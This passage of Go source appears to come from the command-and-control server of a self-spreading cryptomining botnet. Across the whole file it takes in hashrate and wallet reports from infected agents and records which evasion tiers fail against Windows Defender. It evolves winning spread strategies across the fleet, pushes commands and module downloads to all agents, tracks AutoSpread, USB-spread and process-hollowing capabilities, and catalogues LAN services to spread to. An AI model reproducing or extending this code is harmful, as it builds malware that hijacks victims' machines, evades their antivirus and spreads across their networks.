h.notifyCmdCallback(agentID, action, payload)
|
|
if action == "service_discover" {
|
|
if ok, _ := payload["success"].(bool); ok {
|
|
if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
|
|
h.cacheServiceDiscover(agentID, msg)
|
|
}
|
|
}
|
|
}
|
|
if action == "full_sys_check" {
|
|
if ok, _ := payload["success"].(bool); ok {
|
|
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
|
name := agentID
|
|
if h.db != nil {
|
|
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
|
|
name = ag.Name
|
|
}
|
|
}
|
|
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
default:
|
|
if agentID != "" {
|
|
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
|
|
} else {
|
|
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
|
username, ok := resolveDashboardWSUser(r)
|
|
if !ok {
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
|
return
|
|
}
|
|
|
|
conn, err := upgrader.Upgrade(w, r, nil)
|
|
if err != nil {
|
|
log.Printf("Dashboard WebSocket upgrade error: %v", err)
|
|
return
|
|
}
|
|
|
|
dc := &DashboardConn{Conn: conn, Username: username, Page: "/dashboard"}
|
|
dashID := uuid.New().String()
|
|
h.mu.Lock()
|
|
h.dashboards[dashID] = dc
|
|
h.mu.Unlock()
|
|
|
|
defer func() {
|
|
h.mu.Lock()
|
|
delete(h.dashboards, dashID)
|
|
remaining := 0
|
|
for _, d := range h.dashboards {
|
|
if d.Username == username {
|
|
remaining++
|
|
}
|
|
}
|
|
h.mu.Unlock()
|
|
if remaining == 0 {
|
|
h.broadcastPresenceUpdate(username, "", false)
|
|
}
|
|
conn.Close()
|
|
}()
|
|
|
|
// Send initial data — reconcile DB status against live hub state so a
|
|
// freshly loaded dashboard never shows stale "online" phantoms.
|
|
agents, _ := h.db.ListAgents()
|
|
h.enrichAgentsCapabilities(agents)
|
|
for _, a := range agents {
|
|
if a == nil {
|
|
continue
|
|
}
|
|
if h.isAgentConnected(a.ID) {
|
|
a.Status = "online"
|
|
} else {
|
|
// Correct any row that says "online" but has no live socket.
|
|
a.Status = "offline"
|
|
}
|
|
}
|
|
stats, _ := h.db.GetFleetStats()
|
|
|
|
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
|
"agents": agents,
|
|
"stats": stats,
|
|
})})
|
|
_ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{
|
|
"comrades": h.presenceSnapshotLocked(),
|
|
})})
|
|
h.broadcastPresenceUpdate(username, dc.Page, true)
|
|
|
|
go h.runPingLoopDash(dc)
|
|
|
|
for {
|
|
_, data, err := conn.ReadMessage()
|
|
if err != nil {
|
|
break
|
|
}
|
|
var msg Message
|
|
if json.Unmarshal(data, &msg) != nil {
|
|
continue
|
|
}
|
|
switch msg.Type {
|
|
case "presence_page":
|
|
var body struct {
|
|
Page string `json:"page"`
|
|
}
|
|
if json.Unmarshal(msg.Payload, &body) != nil {
|
|
continue
|
|
}
|
|
page := strings.TrimSpace(body.Page)
|
|
if page == "" {
|
|
page = "/dashboard"
|
|
}
|
|
h.mu.Lock()
|
|
if d, exists := h.dashboards[dashID]; exists {
|
|
d.Page = page
|
|
}
|
|
h.mu.Unlock()
|
|
h.broadcastPresenceUpdate(username, page, true)
|
|
case "notes_typing":
|
|
var body struct {
|
|
Active bool `json:"active"`
|
|
}
|
|
if json.Unmarshal(msg.Payload, &body) != nil {
|
|
continue
|
|
}
|
|
h.broadcastNotesTyping(username, body.Active)
|
|
}
|
|
}
|
|
}
|
|
|
|
const statsBatchInterval = 250 * time.Millisecond
|
|
|
|
// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
|
|
// same 250ms window both land in one stats_batch update for dashboards.
|
|
func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
|
|
var base, patch map[string]interface{}
|
|
if json.Unmarshal(existing, &base) != nil || base == nil {
|
|
base = map[string]interface{}{}
|
|
}
|
|
if json.Unmarshal(incoming, &patch) != nil || patch == nil {
|
|
return existing
|
|
}
|
|
for k, v := range patch {
|
|
base[k] = v
|
|
}
|
|
return mustMarshal(base)
|
|
}
|
|
|
|
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
|
|
// message per interval instead of N individual stats_update frames.
|
|
func (h *WSHub) cacheAgentTelemetry(agentID string, payload map[string]interface{}) {
|
|
if agentID == "" || len(payload) == 0 {
|
|
return
|
|
}
|
|
h.mu.Lock()
|
|
defer h.mu.Unlock()
|
|
cur, ok := h.agentLiveTelemetry[agentID]
|
|
if !ok {
|
|
cur = make(map[string]interface{})
|
|
h.agentLiveTelemetry[agentID] = cur
|
|
}
|
|
for k, v := range payload {
|
|
if k == "agent_id" {
|
|
continue
|
|
}
|
|
cur[k] = v
|
|
}
|
|
}
|
|
|
|
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
|
|
// message per interval instead of N individual stats_update frames.
|
|
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
|
|
agentID, _ := payload["agent_id"].(string)
|
|
if agentID == "" {
|
|
return
|
|
}
|
|
data := mustMarshal(payload)
|
|
|
|
h.statsBatchMu.Lock()
|
|
if h.statsBatch == nil {
|
|
h.statsBatch = make(map[string]json.RawMessage)
|
|
}
|
|
if prev, ok := h.statsBatch[agentID]; ok {
|
|
data = mergeStatsPayload(prev, data)
|
|
}
|
|
h.statsBatch[agentID] = data
|
|
h.cacheAgentTelemetry(agentID, payload)
|
|
if h.statsBatchTimer == nil {
|
|
h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
|
|
}
|
|
h.statsBatchMu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) flushStatsBatch() {
|
|
h.statsBatchMu.Lock()
|
|
batch := h.statsBatch
|
|
h.statsBatch = nil
|
|
if h.statsBatchTimer != nil {
|
|
h.statsBatchTimer.Stop()
|
|
h.statsBatchTimer = nil
|
|
}
|
|
h.statsBatchMu.Unlock()
|
|
|
|
if len(batch) == 0 {
|
|
return
|
|
}
|
|
updates := make([]json.RawMessage, 0, len(batch))
|
|
for _, raw := range batch {
|
|
updates = append(updates, raw)
|
|
}
|
|
h.broadcastDashboard(Message{
|
|
Type: "stats_batch",
|
|
Payload: mustMarshal(map[string]interface{}{"updates": updates}),
|
|
})
|
|
}
|
|
|
|
func (h *WSHub) broadcastDashboard(msg Message) {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
|
|
data, err := json.Marshal(msg)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
for id, dc := range h.dashboards {
|
|
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
|
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
|
// Only close the connection here. HandleDashboardWS owns all map
|
|
// cleanup via its existing defer — doing it here too would cause a
|
|
// double-delete that corrupts the remaining-count used for the
|
|
// presence_update broadcast (SRV-B4).
|
|
dc.Conn.Close()
|
|
}
|
|
}
|
|
}
|
|
|
|
func mustMarshal(v interface{}) json.RawMessage {
|
|
data, _ := json.Marshal(v)
|
|
return data
|
|
}
|
|
|
|
// dnsEqual returns true when two DNS server lists contain the same addresses
|
|
// regardless of order. Used for T1016 drift detection.
|
|
func dnsEqual(a, b []string) bool {
|
|
if len(a) != len(b) {
|
|
return false
|
|
}
|
|
m := make(map[string]int, len(a))
|
|
for _, v := range a {
|
|
m[v]++
|
|
}
|
|
for _, v := range b {
|
|
m[v]--
|
|
if m[v] < 0 {
|
|
return false
|
|
}
|
|
}
|
|
return true
|
|
}
|
|
|
|
// BroadcastToAgents sends a message to all connected agents.
|
|
// Any agent whose write fails has its connection closed so the read-loop
|
|
// defer fires quickly and cleans up the hub entry.
|
|
func (h *WSHub) BroadcastToAgents(msg Message) {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
|
|
for id, agent := range h.agents {
|
|
if err := agent.SendJSON(msg); err != nil {
|
|
log.Printf("[hub] broadcast write failed agent %s: %v — closing socket", id, err)
|
|
_ = agent.Conn.Close()
|
|
}
|
|
}
|
|
}
|
|
|
|
// SendToAgent sends a message to one connected agent.
|
|
// On write failure the socket is closed immediately so the read-loop defer
|
|
// fires and calls SetAgentOffline without waiting the full read deadline.
|
|
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
|
|
agent := h.getAgentConn(agentID)
|
|
if agent == nil {
|
|
return fmt.Errorf("agent %s not connected", agentID)
|
|
}
|
|
if err := agent.SendJSON(msg); err != nil {
|
|
_ = agent.Conn.Close()
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// RemoveAgent forcibly disconnects an agent and removes it from the live map.
|
|
// It then broadcasts agent_deleted to all dashboard clients so the UI removes
|
|
// the agent immediately without waiting for the disconnect goroutine to fire.
|
|
func (h *WSHub) RemoveAgent(agentID string) {
|
|
h.mu.Lock()
|
|
if ac, ok := h.agents[agentID]; ok {
|
|
// Nil the map entry BEFORE closing so the agent goroutine's deferred
|
|
// cleanup (which checks cur.Conn == conn) falls into the else branch
|
|
// and skips SetAgentOffline — avoiding a write to an already-deleted row.
|
|
delete(h.agents, agentID)
|
|
delete(h.agentConfigs, agentID)
|
|
delete(h.agentLogs, agentID)
|
|
delete(h.agentCapabilities, agentID)
|
|
delete(h.agentLiveTelemetry, agentID)
|
|
if h.clearance != nil {
|
|
h.clearance.RemoveAgent(agentID)
|
|
}
|
|
ac.Conn.Close()
|
|
}
|
|
h.mu.Unlock()
|
|
// Broadcast deletion so every connected dashboard removes the agent immediately.
|
|
h.broadcastDashboard(Message{
|
|
Type: "agent_deleted",
|
|
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
|
})
|
|
}
|
|
|
|
// SendAgentCommand sends a remote command to an agent.
|
|
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
|
if err := h.checkSubnetSpreadImmune(agentID, action, args); err != nil {
|
|
return err
|
|
}
|
|
if h.isAgentConnected(agentID) {
|
|
payload := map[string]interface{}{"action": action}
|
|
for k, v := range args {
|
|
payload[k] = v
|
|
}
|
|
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
|
}
|
|
if h.EnqueueBeaconCommand(agentID, action, args) {
|
|
return nil
|
|
}
|
|
return fmt.Errorf("agent %s not connected", agentID)
|
|
}
|
|
|
|
// BroadcastAgentCommand sends a remote command to all connected agents.
|
|
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
|
|
payload := map[string]interface{}{"action": action}
|
|
for k, v := range args {
|
|
payload[k] = v
|
|
}
|
|
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
|
}
|
|
|
|
// ResolveAgentTargets expands "all" to connected agent IDs.
|
|
func (h *WSHub) ResolveAgentTargets(ids []string) []string {
|
|
if len(ids) == 0 {
|
|
return nil
|
|
}
|
|
for _, id := range ids {
|
|
if id == "all" {
|
|
return h.ConnectedAgentIDs()
|
|
}
|
|
}
|
|
return ids
|
|
}
|
|
|
|
// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents.
|
|
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
|
|
h.mu.RLock()
|
|
engine := h.adaptiveEngine
|
|
ids := h.ConnectedAgentIDs()
|
|
h.mu.RUnlock()
|
|
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
|
|
return 0
|
|
}
|
|
sent := 0
|
|
for _, agentID := range ids {
|
|
fp := engine.AgentFingerprint(agentID)
|
|
if fp.GOOS == "" {
|
|
if ag, err := h.db.GetAgent(agentID); err == nil {
|
|
fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
|
|
}
|
|
}
|
|
adaptive := engine.StrategyForAgent(agentID, fp)
|
|
h.mu.RLock()
|
|
atlasEngine := h.failureAtlas
|
|
aiMode := h.serverPolicy.AIControlEnabled
|
|
h.mu.RUnlock()
|
|
if atlasEngine != nil && !aiMode {
|
|
var defenderEnabled, defenderRTP *bool
|
|
if ag, err := h.db.GetAgent(agentID); err == nil {
|
|
defenderEnabled = ag.DefenderEnabled
|
|
defenderRTP = ag.DefenderRTP
|
|
}
|
|
if skips, _ := atlasEngine.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
|
|
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
|
|
}
|
|
}
|
|
payload, err := json.Marshal(adaptive)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil {
|
|
continue
|
|
}
|
|
sent++
|
|
}
|
|
return sent
|
|
}
|
|
|
|
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
|
|
platform, _ := payload["platform"].(string)
|
|
ip, _ := payload["ip"].(string)
|
|
var defenderEnabled, defenderRTP, firewallDomain *bool
|
|
if v, ok := payload["defender_enabled"].(bool); ok {
|
|
defenderEnabled = &v
|
|
}
|
|
if v, ok := payload["defender_rtp"].(bool); ok {
|
|
defenderRTP = &v
|
|
}
|
|
if v, ok := payload["firewall_domain"].(bool); ok {
|
|
firewallDomain = &v
|
|
}
|
|
attempts := parseLOTLAttemptsFromPayload(payload)
|
|
hashrate, _ := payload["mining_hashrate"].(float64)
|
|
activeTier, _ := payload["lotl_tier"].(string)
|
|
joinLane, _ := payload["join_lane"].(string)
|
|
chainOrder := parseStringSliceField(payload["chain_order"])
|
|
h.ingestAtlasFromStats(agentID, platform, ip, defenderEnabled, defenderRTP, firewallDomain, attempts)
|
|
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
|
|
return
|
|
}
|
|
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
|
|
h.tryPublishWinningPhenotype(agentID, platform, ip, firewallDomain, attempts, hashrate, activeTier, joinLane, chainOrder)
|
|
}
|
|
|
|
func (h *WSHub) ingestAtlasFromStats(
|
|
agentID, platform, ip string,
|
|
defenderEnabled, defenderRTP, firewallDomain *bool,
|
|
attempts []struct {
|
|
Tier string `json:"tier"`
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
DurationMs int64 `json:"duration_ms"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
},
|
|
) {
|
|
if h.failureAtlas == nil || h.db == nil {
|
|
return
|
|
}
|
|
if platform == "" || ip == "" {
|
|
if ag, err := h.db.GetAgent(agentID); err == nil {
|
|
if platform == "" {
|
|
platform = ag.Platform
|
|
}
|
|
if ip == "" {
|
|
ip = ag.IP
|
|
}
|
|
if firewallDomain == nil {
|
|
firewallDomain = ag.FirewallDomain
|
|
}
|
|
if defenderEnabled == nil {
|
|
defenderEnabled = ag.DefenderEnabled
|
|
}
|
|
if defenderRTP == nil {
|
|
defenderRTP = ag.DefenderRTP
|
|
}
|
|
}
|
|
}
|
|
domainJoined := firewallDomain != nil && *firewallDomain
|
|
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
|
if defenderRTP != nil && *defenderRTP {
|
|
fp.AVBlocks = true
|
|
}
|
|
snap := atlas.ProbeSnapshotFromMaps(fp, nil, defenderEnabled, defenderRTP)
|
|
conds := atlas.ExtractConditions(fp, snap)
|
|
for _, a := range attempts {
|
|
if a.OK || strings.TrimSpace(a.Tier) == "" {
|
|
continue
|
|
}
|
|
if err := h.failureAtlas.RecordFailure(fp.Key(), a.Tier, conds); err != nil {
|
|
log.Printf("[atlas] record failure: %v", err)
|
|
}
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) ingestStrategyFromStats(
|
|
agentID, platform, ip string,
|
|
defenderRTP, firewallDomain *bool,
|
|
attempts []struct {
|
|
Tier string `json:"tier"`
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
DurationMs int64 `json:"duration_ms"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
},
|
|
miningHashrate float64,
|
|
activeTier string,
|
|
) {
|
|
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
|
|
return
|
|
}
|
|
if platform == "" || ip == "" {
|
|
if ag, err := h.db.GetAgent(agentID); err == nil {
|
|
if platform == "" {
|
|
platform = ag.Platform
|
|
}
|
|
if ip == "" {
|
|
ip = ag.IP
|
|
}
|
|
if firewallDomain == nil {
|
|
firewallDomain = ag.FirewallDomain
|
|
}
|
|
}
|
|
}
|
|
domainJoined := firewallDomain != nil && *firewallDomain
|
|
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
|
if defenderRTP != nil && *defenderRTP {
|
|
fp.AVBlocks = true
|
|
}
|
|
h.adaptiveEngine.RememberAgentFingerprint(agentID, fp)
|
|
for _, a := range attempts {
|
|
hr := 0.0
|
|
if a.OK && strings.EqualFold(a.Tier, activeTier) {
|
|
hr = miningHashrate
|
|
}
|
|
h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining")
|
|
}
|
|
if activeTier != "" && miningHashrate > 0 {
|
|
h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining")
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) tryPublishWinningPhenotype(
|
|
agentID, platform, ip string,
|
|
firewallDomain *bool,
|
|
attempts []struct {
|
|
Tier string `json:"tier"`
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
DurationMs int64 `json:"duration_ms"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
},
|
|
miningHashrate float64,
|
|
activeTier, joinLane string,
|
|
chainOrder []string,
|
|
) {
|
|
if h.db == nil || miningHashrate <= 0 || strings.TrimSpace(activeTier) == "" {
|
|
return
|
|
}
|
|
ag, err := h.db.GetAgent(agentID)
|
|
if err != nil {
|
|
return
|
|
}
|
|
if platform == "" {
|
|
platform = ag.Platform
|
|
}
|
|
if ip == "" {
|
|
ip = ag.IP
|
|
}
|
|
if firewallDomain == nil {
|
|
firewallDomain = ag.FirewallDomain
|
|
}
|
|
domainJoined := firewallDomain != nil && *firewallDomain
|
|
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
|
stratAttempts := make([]strategy.TierAttempt, len(attempts))
|
|
for i, a := range attempts {
|
|
stratAttempts[i] = strategy.TierAttempt{Tier: a.Tier, OK: a.OK}
|
|
}
|
|
fallback := append([]string(nil), chainOrder...)
|
|
if len(fallback) == 0 {
|
|
fallback = append(fallback, strategy.DefaultMiningTierOrder...)
|
|
}
|
|
tierOrder := strategy.BuildWinningTierOrder(stratAttempts, activeTier, fallback)
|
|
if len(tierOrder) == 0 {
|
|
return
|
|
}
|
|
pheno := strategy.FleetPhenotype{
|
|
SourceAgentID: agentID,
|
|
SourceAgentName: ag.Name,
|
|
Fingerprint: fp.Key(),
|
|
OS: fp.GOOS,
|
|
SpreadLane: strings.TrimSpace(joinLane),
|
|
ActiveTier: strings.TrimSpace(activeTier),
|
|
TierOrder: tierOrder,
|
|
PeakHashrate: miningHashrate,
|
|
CreatedAt: time.Now().UTC(),
|
|
}
|
|
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
|
log.Printf("[phenotype] publish: %v", err)
|
|
}
|
|
if h.breedingRegistry != nil {
|
|
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
|
|
Fingerprint: fp.Key(),
|
|
SpreadLane: strings.TrimSpace(joinLane),
|
|
TierOrder: tierOrder,
|
|
ActiveTier: strings.TrimSpace(activeTier),
|
|
PeakHashrate: miningHashrate,
|
|
FailedTiers: strategy.FailedTierSet(stratAttempts),
|
|
SourceAgentName: ag.Name,
|
|
})
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) tryPublishScoutPhenotype(
|
|
agentID, platform, ip string,
|
|
firewallDomain *bool,
|
|
joinLane string,
|
|
serviceCount int,
|
|
) {
|
|
if h.db == nil || (strings.TrimSpace(joinLane) == "" && serviceCount <= 0) {
|
|
return
|
|
}
|
|
ag, err := h.db.GetAgent(agentID)
|
|
if err != nil {
|
|
return
|
|
}
|
|
if platform == "" {
|
|
platform = ag.Platform
|
|
}
|
|
if ip == "" {
|
|
ip = ag.IP
|
|
}
|
|
if firewallDomain == nil {
|
|
firewallDomain = ag.FirewallDomain
|
|
}
|
|
domainJoined := firewallDomain != nil && *firewallDomain
|
|
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
|
lane := strings.TrimSpace(joinLane)
|
|
if lane == "" {
|
|
lane = "service_graph"
|
|
}
|
|
tierOrder := []string{"service_graph", "discover_and_join"}
|
|
if lane != "service_graph" && lane != "discover_and_join" {
|
|
tierOrder = append(tierOrder, lane)
|
|
}
|
|
pheno := strategy.FleetPhenotype{
|
|
SourceAgentID: agentID,
|
|
SourceAgentName: ag.Name,
|
|
Fingerprint: fp.Key(),
|
|
OS: fp.GOOS,
|
|
SpreadLane: lane,
|
|
ActiveTier: "service_graph",
|
|
TierOrder: tierOrder,
|
|
PeakHashrate: 0,
|
|
CreatedAt: time.Now().UTC(),
|
|
}
|
|
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
|
log.Printf("[phenotype] scout publish: %v", err)
|
|
}
|
|
if h.breedingRegistry != nil {
|
|
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
|
|
Fingerprint: fp.Key(),
|
|
SpreadLane: lane,
|
|
TierOrder: tierOrder,
|
|
ActiveTier: "service_graph",
|
|
PeakHashrate: float64(serviceCount),
|
|
SourceAgentName: ag.Name,
|
|
})
|
|
}
|
|
}
|
|
|
|
func parseStringSliceField(raw interface{}) []string {
|
|
arr, ok := raw.([]interface{})
|
|
if !ok {
|
|
return nil
|
|
}
|
|
out := make([]string, 0, len(arr))
|
|
for _, v := range arr {
|
|
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
|
|
out = append(out, s)
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
|
|
Tier string `json:"tier"`
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
DurationMs int64 `json:"duration_ms"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
} {
|
|
raw, ok := payload["lotl_attempts"]
|
|
if !ok {
|
|
return nil
|
|
}
|
|
data, err := json.Marshal(raw)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
var attempts []struct {
|
|
Tier string `json:"tier"`
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
DurationMs int64 `json:"duration_ms"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
}
|
|
if err := json.Unmarshal(data, &attempts); err != nil {
|
|
return nil
|
|
}
|
|
return attempts
|
|
}
|
|
|
|
func clientIPFromBroadcast(broadcast map[string]interface{}) string {
|
|
ip, _ := broadcast["ip"].(string)
|
|
return ip
|
|
}
|
|
|
|
// PushPolicyUpdate sends policy_update to each target agent.
|
|
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
|
|
if policy.IsEmpty() {
|
|
return 0, len(agentIDs)
|
|
}
|
|
payload := marshalPolicyUpdatePayload(pushID, policy)
|
|
for _, id := range agentIDs {
|
|
if err := h.SendToAgent(id, Message{Type: "policy_update", Payload: payload}); err != nil {
|
|
if h.EnqueueBeaconPolicy(id, policy) {
|
|
sent++
|
|
} else {
|
|
failed++
|
|
}
|
|
} else {
|
|
sent++
|
|
}
|
|
}
|
|
return sent, failed
|
|
}
|
|
|
|
// PushModuleFetch asks agents to download and apply a module pack.
|
|
func (h *WSHub) PushModuleFetch(agentIDs []string, moduleName string) (sent, failed int) {
|
|
args := map[string]interface{}{"module": moduleName}
|
|
for _, id := range agentIDs {
|
|
if err := h.SendAgentCommand(id, "fetch_module", args); err != nil {
|
|
failed++
|
|
} else {
|
|
sent++
|
|
}
|
|
}
|
|
return sent, failed
|
|
}
|
|
|
|
// UpdateAgentCapabilities merges runtime capability flags and broadcasts to dashboards.
|
|
func (h *WSHub) UpdateAgentCapabilities(agentID string, patch models.AgentCapabilities) {
|
|
h.mu.Lock()
|
|
cur, ok := h.agentCapabilities[agentID]
|
|
if !ok {
|
|
cur = models.AgentCapabilities{}
|
|
}
|
|
if patch.HolePunch {
|
|
cur.HolePunch = true
|
|
}
|
|
if patch.RemoteAggressive {
|
|
cur.RemoteAggressive = true
|
|
}
|
|
if patch.MeshP2P {
|
|
cur.MeshP2P = true
|
|
}
|
|
if patch.AutoSpread {
|
|
cur.AutoSpread = true
|
|
}
|
|
if patch.ProcessHollowing {
|
|
cur.ProcessHollowing = true
|
|
}
|
|
if patch.AIEnabled {
|
|
cur.AIEnabled = true
|
|
}
|
|
if patch.USBSpread {
|
|
cur.USBSpread = true
|
|
}
|
|
h.agentCapabilities[agentID] = cur
|
|
caps := cur
|
|
h.mu.Unlock()
|
|
|
|
h.broadcastDashboard(Message{
|
|
Type: "agent_capabilities",
|
|
Payload: mustMarshal(map[string]interface{}{
|
|
"agent_id": agentID,
|
|
"capabilities": caps,
|
|
}),
|
|
})
|
|
}
|
|
|
|
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
for _, a := range agents {
|
|
if a == nil {
|
|
continue
|
|
}
|
|
if caps, ok := h.agentCapabilities[a.ID]; ok {
|
|
c := caps
|
|
a.Capabilities = &c
|
|
}
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) GetAgentLog(agentID string) string {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
return h.agentLogs[agentID]
|
|
}
|
|
|
|
type cachedServiceDiscover struct {
|
|
Local ServiceGraphHost
|
|
LANHosts []ServiceGraphHost
|
|
}
|
|
|
|
func (h *WSHub) cacheServiceDiscover(agentID, message string) {
|
|
var payload struct {
|
|
Local ServiceGraphHost `json:"local"`
|
|
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
|
|
}
|
|
if err := json.Unmarshal([]byte(message), &payload); err != nil {
|
|
return
|
|
}
|
|
h.mu.Lock()
|
|
h.agentServiceDiscover[agentID] = cachedServiceDiscover{
|
|
Local: payload.Local,
|
|
LANHosts: payload.LANHosts,
|
|
}
|
|
h.mu.Unlock()
|
|
}
|
|
|
|
func subnetLabelMatches(hostSubnet, query string) bool {
|
|
hostSubnet = strings.TrimSpace(hostSubnet)
|
|
query = strings.TrimSpace(query)
|
|
if query == "" {
|
|
return true
|
|
}
|
|
query = strings.TrimSuffix(query, ".x")
|
|
hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
|
|
return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
|
|
}
|
|
|
|
// QueryServiceGraph returns deduped service entries from cached service_discover runs.
|
|
func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
|
|
seen := make(map[string]bool)
|
|
var out []ServiceGraphEntry
|
|
add := func(entries []ServiceGraphEntry) {
|
|
for _, e := range entries {
|
|
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
|
|
if seen[key] {
|
|
continue
|
|
}
|
|
seen[key] = true
|
|
out = append(out, e)
|
|
}
|
|
}
|
|
|
|
collect := func(cached cachedServiceDiscover) {
|
|
if subnetLabelMatches(cached.Local.Subnet, subnet) {
|
|
add(cached.Local.Services)
|
|
}
|
|
for _, host := range cached.LANHosts {
|
|
if subnetLabelMatches(host.Subnet, subnet) {
|
|
add(host.Services)
|
|
}
|
|
}
|
|
}
|
|
|
|
if agentID != "" {
|
|
if cached, ok := h.agentServiceDiscover[agentID]; ok {
|
|
collect(cached)
|
|
}
|
|
return out
|
|
}
|
|
for _, cached := range h.agentServiceDiscover {
|
|
collect(cached)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
|
|
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
|
|
}
|
|
|
|
func (h *WSHub) BroadcastPoolStatus(status interface{}) {
|
|
h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
|
|
}
|
|
|
|
func (h *WSHub) BroadcastAIActivity(entry interface{}) {
|
|
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
|
|
}
|
|
|
|
// agentDisplayName returns a display name that is unique per physical machine.
|
|
// Hostname is preferred because it's machine-specific — many agents deployed from
|
|
// the same binary would otherwise share the same baked-in worker name, making
|
|
// a large fleet impossible to differentiate.
|
|
func agentDisplayName(workerName, worker, hostname, agentID string) string {
|
|
if hostname != "" {
|
|
return hostname
|
|
}
|
|
// No hostname reported — make the worker name unique with a short agent ID suffix.
|
|
base := workerName
|
|
if base == "" {
|
|
base = worker
|
|
}
|
|
if base == "" {
|
|
base = "agent"
|
|
}
|
|
return base + "-" + shortAgentID(agentID)
|
|
}
|
|
|
|
